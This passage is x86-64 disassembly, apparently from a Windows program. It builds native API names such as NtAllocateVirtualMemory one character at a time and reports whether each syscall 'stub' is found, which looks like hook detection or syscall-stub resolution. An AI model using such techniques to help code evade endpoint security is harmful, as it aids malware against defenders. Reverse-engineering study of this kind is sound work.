mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x1402aee01]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x9c0]
lea rdx, [rbp + 0x9e0]
lea r8, [0x1402aee03]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x9c0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xa60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xa80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xaa0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xac0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xae0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xbcf]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0xbd0]
mov rcx, qword [rbp + 0x3158]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140004665
lea rbx, [0x1402aedd7]
jmp 0x14000466c
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xdbf]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0xdbf]
lea rax, [rbp + 0xd90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x1402aee05]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xd10]
lea rdx, [rbp + 0xd30]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xcf0]
lea rdx, [rbp + 0xd10]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xcd0]
lea rdx, [rbp + 0xcf0]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xcb0]
lea rdx, [rbp + 0xcd0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xc90]
lea rdx, [rbp + 0xcb0]
lea r8, [0x1402aedfb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xc70]
lea rdx, [rbp + 0xc90]
lea r8, [0x1402aedfd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xbf0]
lea rdx, [rbp + 0xc10]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xc90]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xcb0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xcd0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xdbf]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0xdc0]
mov rcx, qword [rbp + 0x3150]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x1400049a8
lea rbx, [0x1402aedd7]
jmp 0x1400049af
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x108f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x108f]
lea rax, [rbp + 0x1060]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xfc0]
lea rdx, [rbp + 0xfe0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xfa0]
lea rdx, [rbp + 0xfc0]
lea r8, [0x1402aee09]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xf60]
lea rdx, [rbp + 0xf80]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xf40]
lea rdx, [rbp + 0xf60]
lea r8, [0x1402aee0b]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xf20]
lea rdx, [rbp + 0xf40]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xf00]
lea rdx, [rbp + 0xf20]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xee0]
lea rdx, [rbp + 0xf00]
lea r8, [0x1402aee0f]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xec0]
lea rdx, [rbp + 0xee0]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xea0]
lea rdx, [rbp + 0xec0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea r8, [0x1402aee11]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xe60]
lea rdx, [rbp + 0xe80]
lea r8, [0x1402aee13]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x1402aee15]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0xde0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xe80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xea0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xec0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xee0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xf00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xf20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xf40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xf60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xf80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xfa0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x108f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1090]
mov rcx, qword [rbp + 0x3148]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140004e1f
lea rbx, [0x1402aedd7]
jmp 0x140004e26
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x13df]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x13df]
lea rax, [rbp + 0x13b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x1402aee17]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x12f0]
lea rdx, [rbp + 0x1310]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x12d0]
lea rdx, [rbp + 0x12f0]
lea r8, [0x1402aee19]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x12b0]
lea rdx, [rbp + 0x12d0]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1290]
lea rdx, [rbp + 0x12b0]
lea r8, [0x1402aee1b]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1270]
lea rdx, [rbp + 0x1290]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1250]
lea rdx, [rbp + 0x1270]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1230]
lea rdx, [rbp + 0x1250]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1210]
lea rdx, [rbp + 0x1230]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x11f0]
lea rdx, [rbp + 0x1210]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x11d0]
lea rdx, [rbp + 0x11f0]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x11b0]
lea rdx, [rbp + 0x11d0]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1190]
lea rdx, [rbp + 0x11b0]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1170]
lea rdx, [rbp + 0x1190]
lea r8, [0x1402aedf7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1150]
lea rdx, [rbp + 0x1170]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1130]
lea rdx, [rbp + 0x1150]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x10b0]
lea rdx, [rbp + 0x10d0]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x10b0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1150]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1190]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x11b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x11d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x11f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1210]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1230]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1250]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1270]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1290]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x12b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x12d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x13df]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x13e0]
mov rcx, qword [rbp + 0x3140]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140005346
lea rbx, [0x1402aedd7]
jmp 0x14000534d
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x166f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x166f]
lea rax, [rbp + 0x1640]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x1402aee05]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x15c0]
lea rdx, [rbp + 0x15e0]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x15a0]
lea rdx, [rbp + 0x15c0]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1580]
lea rdx, [rbp + 0x15a0]
lea r8, [0x1402aedc9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1560]
lea rdx, [rbp + 0x1580]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1540]
lea rdx, [rbp + 0x1560]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1520]
lea rdx, [rbp + 0x1540]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1500]
lea rdx, [rbp + 0x1520]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x14e0]
lea rdx, [rbp + 0x1500]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
lea r8, [0x1402aedd1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1480]
lea rdx, [rbp + 0x14a0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1400]
lea rdx, [rbp + 0x1420]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x1400]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x14a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x14c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x14e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1500]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1520]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1540]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1560]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1580]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x166f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1670]
mov rcx, qword [rbp + 0x3138]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140005765
lea rbx, [0x1402aedd7]
jmp 0x14000576c
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x177f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x177f]
lea rax, [rbp + 0x1750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x1402aedf9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x16b0]
lea rdx, [rbp + 0x16d0]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1690]
lea rdx, [rbp + 0x16b0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x1690]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x177f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1780]
mov rcx, qword [rbp + 0x3130]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140005974
lea rbx, [0x1402aedd7]
jmp 0x14000597b
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x194f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x194f]
lea rax, [rbp + 0x1920]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x1402aee11]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x1402aee1d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x18a0]
lea rdx, [rbp + 0x18c0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x1402aedf7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x17a0]
lea rax, [rbp + 0x100]
mov rcx, rax
